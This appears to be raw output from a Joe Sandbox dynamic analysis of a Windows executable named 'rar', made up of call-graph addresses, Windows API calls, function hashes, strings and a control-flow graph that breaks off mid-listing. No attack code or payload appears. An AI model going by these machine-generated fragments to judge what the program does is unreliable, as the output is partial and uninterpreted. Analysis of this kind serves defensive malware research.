7ff70f3a8d00 48 API calls 39333->39336 39334->39332 39344 7ff70f37b6b5 39334->39344 39362 7ff70f37b79f 39334->39362 39335->39332 39338 7ff70f37bc5c 39336->39338 39634 7ff70f3a8d38 48 API calls 39338->39634 39343 7ff70f37bc69 39635 7ff70f3a8d38 48 API calls 39343->39635 39344->39332 39599 7ff70f3a8d00 39344->39599 39346 7ff70f37bc76 39636 7ff70f3a8d38 48 API calls 39346->39636 39349 7ff70f37bc84 39637 7ff70f3a8d88 48 API calls 39349->39637 39353 7ff70f37b726 39603 7ff70f3a8d38 48 API calls 39353->39603 39355 7ff70f37b733 39356 7ff70f37b749 39355->39356 39604 7ff70f3a8d88 48 API calls 39355->39604 39358 7ff70f37b75c 39356->39358 39605 7ff70f3a8d38 48 API calls 39356->39605 39360 7ff70f37b779 39358->39360 39363 7ff70f3a8d00 48 API calls 39358->39363 39606 7ff70f3a8f94 39360->39606 39364 7ff70f37b8e5 39362->39364 39616 7ff70f37c3c8 CharLowerW CharUpperW 39362->39616 39363->39358 39617 7ff70f3bd840 WideCharToMultiByte 39364->39617 39368 7ff70f37b9a1 39370 7ff70f3a8d00 48 API calls 39368->39370 39372 7ff70f37b9c4 39370->39372 39371 7ff70f37b910 39371->39368 39619 7ff70f37945c 55 API calls _UnwindNestedFrames 39371->39619 39620 7ff70f3a8d38 48 API calls 39372->39620 39374 7ff70f37b9d1 39621 7ff70f3a8d38 48 API calls 39374->39621 39376 7ff70f37b9de 39622 7ff70f3a8d88 48 API calls 39376->39622 39378 7ff70f37b9eb 39623 7ff70f3a8d88 48 API calls 39378->39623 39380 7ff70f37ba0b 39381 7ff70f3a8d00 48 API calls 39380->39381 39382 7ff70f37ba27 39381->39382 39624 7ff70f3a8d88 48 API calls 39382->39624 39384 7ff70f37ba37 39385 7ff70f37ba49 39384->39385 39625 7ff70f3bbc48 15 API calls 39384->39625 39626 7ff70f3a8d88 48 API calls 39385->39626 39388 7ff70f37ba59 39389 7ff70f3a8d00 48 API calls 39388->39389 39390 7ff70f37ba66 39389->39390 39391 7ff70f3a8d00 48 API calls 39390->39391 39392 7ff70f37ba78 39391->39392 39627 7ff70f3a8d38 48 API calls 39392->39627 39394 7ff70f37ba85 39628 7ff70f3a8d88 48 API calls 39394->39628 39396 7ff70f37bacd 39631 7ff70f3a8e3c 39396->39631 39397 7ff70f37ba92 39397->39396 39629 7ff70f3a8d88 48 API calls 39397->39629 39399 7ff70f37bab2 39630 7ff70f3a8d88 48 API calls 39399->39630 39402 7ff70f37bb33 39405 7ff70f37bb53 39402->39405 39408 7ff70f3a8e3c 48 API calls 39402->39408 39404 7ff70f3a8d00 48 API calls 39406 7ff70f37bb09 39404->39406 39409 7ff70f37bb6e 39405->39409 39410 7ff70f3a8e3c 48 API calls 39405->39410 39406->39402 39407 7ff70f3a8e3c 48 API calls 39406->39407 39407->39402 39408->39405 39411 7ff70f3a8f94 126 API calls 39409->39411 39410->39409 39411->39332 39413->39298 39414->39301 39415->39306 39416->39310 39418 7ff70f37a434 39417->39418 39420 7ff70f3a7a8d 39417->39420 39418->39319 39425 7ff70f3922e0 39418->39425 39419 7ff70f3a7aaf 39419->39418 39422 7ff70f3922e0 12 API calls 39419->39422 39420->39419 39430 7ff70f3a7340 157 API calls 39420->39430 39423 7ff70f3a7adf 39422->39423 39431 7ff70f392440 39423->39431 39441 7ff70f3920b4 39425->39441 39427 7ff70f392307 39427->39319 39430->39419 39432 7ff70f39246a SetFilePointer 39431->39432 39435 7ff70f392454 39431->39435 39433 7ff70f3924ad 39432->39433 39434 7ff70f39248d GetLastError 39432->39434 39433->39418 39434->39433 39436 7ff70f392497 39434->39436 39435->39433 39439 7ff70f38cd00 10 API calls 39435->39439 39436->39433 39440 7ff70f38cd00 10 API calls 39436->39440 39442 7ff70f3920d0 39441->39442 39443 7ff70f392130 39441->39443 39444 7ff70f392102 SetFilePointer 39442->39444 39443->39427 39446 7ff70f38cd00 10 API calls 39443->39446 39444->39443 39445 7ff70f392126 GetLastError 39444->39445 39445->39443 39448 7ff70f37a4ea 39447->39448 39449 7ff70f37a4ee 39448->39449 39450 7ff70f392440 12 API calls 39448->39450 39449->39322 39450->39449 39452 7ff70f37abbf setbuf 39451->39452 39453 7ff70f3a8c1c 48 API calls 39452->39453 39457 7ff70f37abf5 39453->39457 39454 7ff70f37aca7 39455 7ff70f37b4af 39454->39455 39456 7ff70f37acbf 39454->39456 39458 7ff70f37b4ff 39455->39458 39462 7ff70f392574 126 API calls 39455->39462 39459 7ff70f37b35c 39456->39459 39460 7ff70f37acc8 39456->39460 39457->39454 39457->39455 39461 7ff70f389be0 14 API calls 39457->39461 39463 7ff70f3a72c0 4 API calls 39458->39463 39464 7ff70f3a8eec 48 API calls 39459->39464 39465 7ff70f37acdd 39460->39465 39472 7ff70f37ad60 39460->39472 39506 7ff70f37aea7 39460->39506 39466 7ff70f37ac34 39461->39466 39462->39458 39463->39472 39467 7ff70f37b395 39464->39467 39468 7ff70f37ad68 39465->39468 39469 7ff70f37ace6 39465->39469 39470 7ff70f3890b8 75 API calls 39466->39470 39471 7ff70f37b3ad 39467->39471 39656 7ff70f379e2c 48 API calls 39467->39656 39474 7ff70f3a8eec 48 API calls 39468->39474 39469->39472 39638 7ff70f3a8eec 39469->39638 39473 7ff70f37ac8f 39470->39473 39477 7ff70f3a8eec 48 API calls 39471->39477 39476 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39472->39476 39473->39454 39484 7ff70f392574 126 API calls 39473->39484 39480 7ff70f37ad9c 39474->39480 39481 7ff70f37b52b 39476->39481 39478 7ff70f37b3d4 39477->39478 39482 7ff70f37b3e6 39478->39482 39486 7ff70f3a8eec 48 API calls 39478->39486 39485 7ff70f3a8eec 48 API calls 39480->39485 39481->39332 39490 7ff70f3a8eec 48 API calls 39482->39490 39484->39454 39488 7ff70f37ada9 39485->39488 39486->39482 39487 7ff70f3a8eec 48 API calls 39491 7ff70f37ad31 39487->39491 39489 7ff70f3a8eec 48 API calls 39488->39489 39492 7ff70f37adb5 39489->39492 39493 7ff70f37b451 39490->39493 39494 7ff70f3a8eec 48 API calls 39491->39494 39495 7ff70f3a8eec 48 API calls 39492->39495 39496 7ff70f37b471 39493->39496 39502 7ff70f3a8eec 48 API calls 39493->39502 39497 7ff70f37ad46 39494->39497 39498 7ff70f37adc2 39495->39498 39500 7ff70f37b486 39496->39500 39503 7ff70f3a8e3c 48 API calls 39496->39503 39499 7ff70f3a8f94 126 API calls 39497->39499 39501 7ff70f3a8d00 48 API calls 39498->39501 39499->39472 39504 7ff70f3a8f94 126 API calls 39500->39504 39505 7ff70f37adcf 39501->39505 39502->39496 39503->39500 39504->39472 39508 7ff70f3890b8 75 API calls 39505->39508 39507 7ff70f37afda 39506->39507 39646 7ff70f379b64 48 API calls _UnwindNestedFrames 39506->39646 39514 7ff70f37aff2 39507->39514 39647 7ff70f379d98 48 API calls 39507->39647 39511 7ff70f37ae22 39508->39511 39512 7ff70f3a8e3c 48 API calls 39511->39512 39513 7ff70f37ae33 39512->39513 39515 7ff70f3a8e3c 48 API calls 39513->39515 39516 7ff70f37b02b 39514->39516 39648 7ff70f379efc 48 API calls _UnwindNestedFrames 39514->39648 39521 7ff70f37ae48 39515->39521 39520 7ff70f37b0af 39516->39520 39649 7ff70f37a2c8 48 API calls 39516->39649 39519 7ff70f37b0c8 39523 7ff70f37b0e2 39519->39523 39651 7ff70f37a350 48 API calls _UnwindNestedFrames 39519->39651 39520->39519 39650 7ff70f37a1a0 48 API calls 2 library calls 39520->39650 39525 7ff70f3b9ce4 8 API calls 39521->39525 39526 7ff70f3a8eec 48 API calls 39523->39526 39527 7ff70f37ae60 39525->39527 39529 7ff70f37b0fc 39526->39529 39528 7ff70f3b9b70 8 API calls 39527->39528 39530 7ff70f37ae6d 39528->39530 39531 7ff70f3a8eec 48 API calls 39529->39531 39532 7ff70f3a8e3c 48 API calls 39530->39532 39533 7ff70f37b109 39531->39533 39534 7ff70f37ae80 39532->39534 39535 7ff70f37b11f 39533->39535 39537 7ff70f3a8eec 48 API calls 39533->39537 39536 7ff70f3a8f94 126 API calls 39534->39536 39642 7ff70f3a8e94 39535->39642 39536->39472 39537->39535 39540 7ff70f3a8eec 48 API calls 39541 7ff70f37b147 39540->39541 39542 7ff70f3a8e94 48 API calls 39541->39542 39543 7ff70f37b15f 39542->39543 39544 7ff70f3a8eec 48 API calls 39543->39544 39547 7ff70f37b16c 39544->39547 39545 7ff70f37b18a 39546 7ff70f37b1a9 39545->39546 39653 7ff70f3a8d88 48 API calls 39545->39653 39549 7ff70f3a8e94 48 API calls 39546->39549 39547->39545 39652 7ff70f3a8d88 48 API calls 39547->39652 39551 7ff70f37b1bc 39549->39551 39552 7ff70f3a8eec 48 API calls 39551->39552 39553 7ff70f37b1d6 39552->39553 39555 7ff70f37b1e9 39553->39555 39654 7ff70f37c3c8 CharLowerW CharUpperW 39553->39654 39555->39555 39556 7ff70f3a8eec 48 API calls 39555->39556 39557 7ff70f37b21f 39556->39557 39558 7ff70f3a8e3c 48 API calls 39557->39558 39559 7ff70f37b230 39558->39559 39560 7ff70f37b247 39559->39560 39561 7ff70f3a8e3c 48 API calls 39559->39561 39562 7ff70f3a8f94 126 API calls 39560->39562 39561->39560 39563 7ff70f37b278 39562->39563 39563->39472 39655 7ff70f3a70d8 4 API calls 2 library calls 39563->39655 39657 7ff70f3a8f28 39565->39657 39568 7ff70f3890b8 39569 7ff70f389123 39568->39569 39582 7ff70f3891a9 39568->39582 39569->39582 39675 7ff70f3b7e74 39569->39675 39570 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39572 7ff70f37b66e 39570->39572 39584 7ff70f392574 39572->39584 39574 7ff70f3bd840 WideCharToMultiByte 39575 7ff70f389157 39574->39575 39576 7ff70f3891c4 39575->39576 39577 7ff70f38916a 39575->39577 39575->39582 39694 7ff70f389338 12 API calls _UnwindNestedFrames 39576->39694 39579 7ff70f38916f 39577->39579 39580 7ff70f3891ab 39577->39580 39579->39582 39679 7ff70f3898b0 39579->39679 39693 7ff70f38951c 71 API calls _UnwindNestedFrames 39580->39693 39582->39570 39585 7ff70f3925a5 39584->39585 39586 7ff70f39259e 39584->39586 39587 7ff70f3925ab GetStdHandle 39585->39587 39589 7ff70f3925ba 39585->39589 39586->39330 39587->39589 39588 7ff70f392619 WriteFile 39588->39589 39589->39586 39589->39588 39590 7ff70f3925cf WriteFile 39589->39590 39592 7ff70f392658 GetLastError 39589->39592 39596 7ff70f392721 39589->39596 39759 7ff70f393144 9 API calls 2 library calls 39589->39759 39760 7ff70f38cf34 10 API calls 39589->39760 39761 7ff70f38c95c 126 API calls 39589->39761 39590->39589 39591 7ff70f39260b 39590->39591 39591->39589 39591->39590 39592->39589 39594 7ff70f392684 SetLastError 39594->39589 39762 7ff70f38cf14 10 API calls 39596->39762 39600 7ff70f37161c 48 API calls 39599->39600 39601 7ff70f37b719 39600->39601 39602 7ff70f3a8d38 48 API calls 39601->39602 39602->39353 39603->39355 39604->39356 39605->39358 39607 7ff70f3a9131 39606->39607 39608 7ff70f3a8fcf 39606->39608 39607->39332 39615 7ff70f3a905d 39608->39615 39763 7ff70f38ca6c 48 API calls 3 library calls 39608->39763 39609 7ff70f3a90e0 39609->39607 39610 7ff70f392574 126 API calls 39609->39610 39610->39607 39611 7ff70f37161c 48 API calls 39611->39609 39613 7ff70f3a904c 39764 7ff70f38ca40 61 API calls _CxxThrowException 39613->39764 39615->39609 39615->39611 39616->39364 39618 7ff70f37b8f8 CharToOemA 39617->39618 39618->39371 39619->39368 39620->39374 39621->39376 39622->39378 39623->39380 39624->39384 39625->39385 39626->39388 39627->39394 39628->39397 39629->39399 39630->39396 39632 7ff70f37161c 48 API calls 39631->39632 39633 7ff70f37baf2 39632->39633 39633->39402 39633->39404 39633->39406 39634->39343 39635->39346 39636->39349 39637->39331 39639 7ff70f3a8efc 39638->39639 39640 7ff70f3a8d00 48 API calls 39639->39640 39641 7ff70f37ad24 39639->39641 39640->39639 39641->39487 39643 7ff70f3a8eac 39642->39643 39644 7ff70f3a8d00 48 API calls 39643->39644 39645 7ff70f37b137 39643->39645 39644->39643 39645->39540 39646->39507 39647->39514 39648->39516 39649->39520 39650->39519 39651->39523 39652->39545 39653->39546 39654->39555 39655->39472 39656->39471 39660 7ff70f37161c 39657->39660 39659 7ff70f37b601 39659->39330 39659->39331 39659->39568 39661 7ff70f371640 39660->39661 39670 7ff70f3716aa __BuildCatchObjectHelper 39660->39670 39662 7ff70f37166d 39661->39662 39671 7ff70f38ca6c 48 API calls 3 library calls 39661->39671 39663 7ff70f37168e 39662->39663 39667 7ff70f3716d4 39662->39667 39663->39670 39673 7ff70f38cb64 8 API calls 39663->39673 39665 7ff70f371661 39672 7ff70f38cb64 8 API calls 39665->39672 39667->39670 39674 7ff70f38cb64 8 API calls 39667->39674 39670->39659 39671->39665 39676 7ff70f389143 39675->39676 39677 7ff70f3b7e95 39675->39677 39676->39574 39678 7ff70f3b7ec8 68 API calls 39677->39678 39678->39676 39683 7ff70f389920 39679->39683 39689 7ff70f389b45 39679->39689 39680 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39681 7ff70f389b61 39680->39681 39681->39582 39684 7ff70f38996d 39683->39684 39685 7ff70f389b75 39683->39685 39695 7ff70f3b7da8 39683->39695 39684->39684 39702 7ff70f38a0f4 39684->39702 39687 7ff70f3b7f24 68 API calls 39685->39687 39690 7ff70f389acb 39687->39690 39688 7ff70f3899d0 39688->39688 39718 7ff70f3b7f24 39688->39718 39689->39680 39690->39689 39732 7ff70f3b4ea8 8 API calls _UnwindNestedFrames 39690->39732 39693->39582 39694->39582 39696 7ff70f3b7e74 68 API calls 39695->39696 39697 7ff70f3b7ddc 39696->39697 39698 7ff70f3b7e74 68 API calls 39697->39698 39699 7ff70f3b7def 39698->39699 39700 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39699->39700 39701 7ff70f3b7e43 39700->39701 39701->39683 39704 7ff70f38a15c __BuildCatchObjectHelper 39702->39704 39706 7ff70f38a192 39704->39706 39707 7ff70f38a34d 39704->39707 39711 7ff70f38a358 39704->39711 39712 7ff70f38a352 39704->39712 39705 7ff70f38a35e 39733 7ff70f389dd8 39706->39733 39753 7ff70f3ca774 8 API calls __report_securityfailure 39707->39753 39755 7ff70f3ca774 8 API calls __report_securityfailure 39711->39755 39754 7ff70f3ca774 8 API calls __report_securityfailure 39712->39754 39713 7ff70f38a1d9 39714 7ff70f389dd8 8 API calls 39713->39714 39715 7ff70f38a2f1 39713->39715 39714->39713 39716 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39715->39716 39717 7ff70f38a33b 39716->39717 39717->39688 39719 7ff70f3b7fb5 39718->39719 39720 7ff70f3b7f5e 39718->39720 39723 7ff70f3b805c GetCurrentProcessId 39719->39723 39726 7ff70f3b7ff1 39719->39726 39720->39719 39721 7ff70f3bb3f0 10 API calls 39720->39721 39722 7ff70f3b7f72 39721->39722 39722->39719 39724 7ff70f3b7f7e GetProcAddressForCaller GetProcAddress 39722->39724 39725 7ff70f3b8034 39723->39725 39724->39719 39725->39690 39726->39725 39756 7ff70f38ca6c 48 API calls 3 library calls 39726->39756 39728 7ff70f3b801f 39757 7ff70f38cda4 10 API calls 2 library calls 39728->39757 39730 7ff70f3b8027 39758 7ff70f38ca40 61 API calls _CxxThrowException 39730->39758 39732->39689 39734 7ff70f389e46 39733->39734 39737 7ff70f389e6e __scrt_fastfail 39733->39737 39735 7ff70f3b9ce4 8 API calls 39734->39735 39736 7ff70f389e5e 39735->39736 39738 7ff70f3b9b70 8 API calls 39736->39738 39739 7ff70f389e85 39737->39739 39742 7ff70f3b9ce4 8 API calls 39737->39742 39738->39737 39740 7ff70f3b9ce4 8 API calls 39739->39740 39741 7ff70f389f97 39740->39741 39743 7ff70f3b9b70 8 API calls 39741->39743 39742->39739 39744 7ff70f389fa8 __scrt_fastfail 39743->39744 39745 7ff70f389fb4 39744->39745 39748 7ff70f3b9ce4 8 API calls 39744->39748 39746 7ff70f3b9ce4 8 API calls 39745->39746 39747 7ff70f38a0bb 39746->39747 39749 7ff70f3b9b70 8 API calls 39747->39749 39748->39745 39750 7ff70f38a0c9 39749->39750 39751 7ff70f3ca610 _UnwindNestedFrames 8 API calls 39750->39751 39752 7ff70f38a0d8 39751->39752 39752->39713 39753->39712 39754->39711 39755->39705 39756->39728 39757->39730 39758->39725 39759->39594 39761->39589 39763->39613 39764->39615

                                              Executed Functions

                                              Function 00007FF70F371884 Relevance: 24.1, APIs: 5, Strings: 8, Instructions: 1374COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: %s%s $.ext$exe$rar$sfx$,6$BK$q:
                                              • API String ID: 0-1660254149
                                              • Opcode ID: 26eb8d9bcb2ebbc0fd7d42f055f25a1e309877ba3e379b59b593af2ad32be8ce
                                              • Instruction ID: 0dda8329ee26345cc5bead33cdb4a01a56f3e9715a156b2f14d183a2c05dcea4
                                              • Opcode Fuzzy Hash: 26eb8d9bcb2ebbc0fd7d42f055f25a1e309877ba3e379b59b593af2ad32be8ce
                                              • Instruction Fuzzy Hash: 6FE28C26A0DBC685EB30EB25D8402EEE7A1FF467A8F854039DA4D0B796DF39D544C720
                                              Function 00007FF70F38901C Relevance: 4.5, APIs: 3, Instructions: 35encryptionCOMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID: Crypt$Context$AcquireRandomRelease
                                              • String ID:
                                              • API String ID: 1815803762-0
                                              • Opcode ID: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
                                              • Instruction ID: 20a9942c3c182359c1e24a469a5317e13d62577d8bf92fe6d23b285ee83b0fb4
                                              • Opcode Fuzzy Hash: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
                                              • Instruction Fuzzy Hash: 9C012866B0869082EB04AB56E844379E761EFC4FE0F588025DA4D4BBA8CF6DD9468700
                                              Function 00007FF70F39AE10 Relevance: 1.7, APIs: 1, Instructions: 177COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 0000004A.00000002.1810075262.00007FF70F371000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF70F370000, based on PE: true
                                              • Associated: 0000004A.00000002.1810056392.00007FF70F370000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810124637.00007FF70F3E0000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810147500.00007FF70F3F8000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810169744.00007FF70F3F9000.00000008.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F3FA000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F404000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F40E000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810190382.00007FF70F416000.00000004.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810274913.00007FF70F418000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              • Associated: 0000004A.00000002.1810294839.00007FF70F41E000.00000002.00000001.01000000.00000019.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_74_2_7ff70f370000_rar.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: 4b67772bfeb4064cb7874ab0af5e3cea4ba4622badc7eaf1d0d455947f10e252
                                              • Instruction ID: 8c5513ff53a7a23f9c1cf799bf480d0157069946c85d230251fff62455d02659
                                              • Opcode Fuzzy Hash: 4b67772bfeb4064cb7874ab0af5e3cea4ba4622badc7eaf1d0d455947f10e252
                                              • Instruction Fuzzy Hash: EB71E732A096C546DB44EF26E8053EDB391FB88BA4F444139DB5D8F399DF78A44287A0
                                              Function 00007FF70F3B3EA8 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 491COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 635 7ff70f3b3ea8-7ff70f3b3f03 call 7ff70f3ca5a0 call 7ff70f3cc8a0 640 7ff70f3b3f40-7ff70f3b3f50 call 7ff70f3ba9e8 635->640 641 7ff70f3b3f05-7ff70f3b3f3e GetModuleFileNameW call 7ff70f3a4e14 call 7ff70f3ba9c0 635->641 645 7ff70f3b3f55-7ff70f3b3f79 call 7ff70f391874 call 7ff70f391e80 640->645 641->645 652 7ff70f3b4692-7ff70f3b46c5 call 7ff70f3918ac call 7ff70f3ca610 645->652 653 7ff70f3b3f7f-7ff70f3b3f89 645->653 655 7ff70f3b3fae-7ff70f3b3feb call 7ff70f3cec70 * 2 653->655 656 7ff70f3b3f8b-7ff70f3b3fac call 7ff70f3b11c0 * 2 653->656 668 7ff70f3b3fef-7ff70f3b3ff3 655->668 656->655 669 7ff70f3b40f2-7ff70f3b4112 call 7ff70f3922e0 call 7ff70f3ceb90 668->669 670 7ff70f3b3ff9-7ff70f3b402d call 7ff70f392440 call 7ff70f392150 668->670 669->652 681 7ff70f3b4118-7ff70f3b4131 call 7ff70f392150 669->681 679 7ff70f3b4033 670->679 680 7ff70f3b40bc-7ff70f3b40e2 call 7ff70f3922e0 670->680 683 7ff70f3b403a-7ff70f3b403e 679->683 680->668 692 7ff70f3b40e8-7ff70f3b40ec 680->692 689 7ff70f3b4133-7ff70f3b4136 681->689 690 7ff70f3b4138-7ff70f3b414b call 7ff70f3ceb90 681->690 686 7ff70f3b4040-7ff70f3b4044 683->686 687 7ff70f3b4064-7ff70f3b4069 683->687 686->687 691 7ff70f3b4046-7ff70f3b405e call 7ff70f3d2290 686->691 693 7ff70f3b4097-7ff70f3b409f 687->693 694 7ff70f3b406b-7ff70f3b4070 687->694 697 7ff70f3b416f-7ff70f3b41b1 call 7ff70f3ba900 call 7ff70f3ceb90 689->697 690->652 706 7ff70f3b4151-7ff70f3b416c call 7ff70f3bd54c call 7ff70f3ceb88 690->706 707 7ff70f3b4060 691->707 708 7ff70f3b40a3-7ff70f3b40a7 691->708 692->652 692->669 695 7ff70f3b40a1 693->695 696 7ff70f3b40b7 693->696 694->693 700 7ff70f3b4072-7ff70f3b4078 694->700 695->683 696->680 717 7ff70f3b41c0-7ff70f3b41d5 697->717 718 7ff70f3b41b3-7ff70f3b41bb call 7ff70f3ceb88 697->718 704 7ff70f3b4093 700->704 705 7ff70f3b407a-7ff70f3b4091 call 7ff70f3d1700 700->705 704->693 705->704 714 7ff70f3b40a9-7ff70f3b40b5 705->714 706->697 707->687 708->696 714->680 721 7ff70f3b45f0-7ff70f3b4624 call 7ff70f3b3884 call 7ff70f3ceb88 * 2 717->721 722 7ff70f3b41db 717->722 718->652 756 7ff70f3b4626-7ff70f3b4648 call 7ff70f3b11c0 * 2 721->756 757 7ff70f3b464a-7ff70f3b4691 call 7ff70f3cec70 * 2 721->757 725 7ff70f3b41e1-7ff70f3b41ee 722->725 728 7ff70f3b41f4-7ff70f3b41fa 725->728 729 7ff70f3b4508-7ff70f3b4513 725->729 732 7ff70f3b4208-7ff70f3b420e 728->732 733 7ff70f3b41fc-7ff70f3b4202 728->733 729->721 731 7ff70f3b4519-7ff70f3b4523 729->731 735 7ff70f3b4585-7ff70f3b4589 731->735 736 7ff70f3b4525-7ff70f3b452b 731->736 737 7ff70f3b43d0-7ff70f3b43e0 call 7ff70f3ba580 732->737 738 7ff70f3b4214-7ff70f3b425c 732->738 733->729 733->732 739 7ff70f3b45a3-7ff70f3b45d4 call 7ff70f3b3884 735->739 740 7ff70f3b458b-7ff70f3b458f 735->740 742 7ff70f3b4531-7ff70f3b4539 736->742 743 7ff70f3b45db-7ff70f3b45de 736->743 762 7ff70f3b44f0-7ff70f3b4503 737->762 763 7ff70f3b43e6-7ff70f3b4414 call 7ff70f3ba9e8 call 7ff70f3d172c 737->763 744 7ff70f3b4261-7ff70f3b4264 738->744 739->743 740->739 746 7ff70f3b4591-7ff70f3b4597 740->746 749 7ff70f3b4573-7ff70f3b457a 742->749 750 7ff70f3b453b-7ff70f3b453e 742->750 743->721 751 7ff70f3b45e0-7ff70f3b45e5 743->751 752 7ff70f3b4268-7ff70f3b4270 744->752 746->743 755 7ff70f3b4599-7ff70f3b45a1 746->755 754 7ff70f3b457e-7ff70f3b4583 749->754 759 7ff70f3b4540-7ff70f3b4543 750->759 760 7ff70f3b456a-7ff70f3b4571 750->760 751->725 752->752 761 7ff70f3b4272-7ff70f3b4288 call 7ff70f3d1700 752->761 754->743 755->743 756->757 757->652 765 7ff70f3b4561-7ff70f3b4568 759->765 766 7ff70f3b4545-7ff70f3b4548 759->766 760->754 780 7ff70f3b42a3 761->780 781 7ff70f3b428a-7ff70f3b4295 761->781 762->729 763->762 787 7ff70f3b441a-7ff70f3b44a9 call 7ff70f3bd840 call 7ff70f3ba900 call 7ff70f3ba8c4 call 7ff70f3ba900 call 7ff70f3d15fc 763->787 765->754 771 7ff70f3b454a-7ff70f3b454d 766->771 772 7ff70f3b4558-7ff70f3b455f 766->772 771->746 778 7ff70f3b454f-7ff70f3b4556 771->778 772->754 778->754 784 7ff70f3b42a7-7ff70f3b42be 780->784 781->780 782 7ff70f3b4297-7ff70f3b42a1 781->782 782->784 784->744 788 7ff70f3b42c0-7ff70f3b42c2 784->788 823 7ff70f3b44bf-7ff70f3b44cf 787->823 824 7ff70f3b44ab-7ff70f3b44bb 787->824 790 7ff70f3b42e6 788->790 791 7ff70f3b42c4-7ff70f3b42d6 call 7ff70f3ba900 788->791 790->737 794 7ff70f3b42ec 790->794 796 7ff70f3b42db-7ff70f3b42e1 791->796 797 7ff70f3b42f1-7ff70f3b42f7 794->797 799 7ff70f3b45d6 796->799 800 7ff70f3b4300-7ff70f3b4303 797->800 801 7ff70f3b42f9-7ff70f3b42fe 797->801 799->743 800->797 801->800 803 7ff70f3b4305-7ff70f3b4314 801->803 805 7ff70f3b4316-7ff70f3b4320 803->805 806 7ff70f3b433d-7ff70f3b4347 803->806 810 7ff70f3b4323-7ff70f3b4327 805->810 807 7ff70f3b45ea-7ff70f3b45ef call 7ff70f3ca774 806->807 808 7ff70f3b434d-7ff70f3b4378 call 7ff70f3bd840 806->808 807->721 818 7ff70f3b437a-7ff70f3b4399 call 7ff70f3d1764 808->818 819 7ff70f3b439e-7ff70f3b43cb call 7ff70f3b470c 808->819 810->806 814 7ff70f3b4329-7ff70f3b433b 810->814 814->806 814->810 818->796 819->796 827 7ff70f3b44d2-7ff70f3b44d8 823->827 824->823 828 7ff70f3b44da-7ff70f3b44e5 827->828 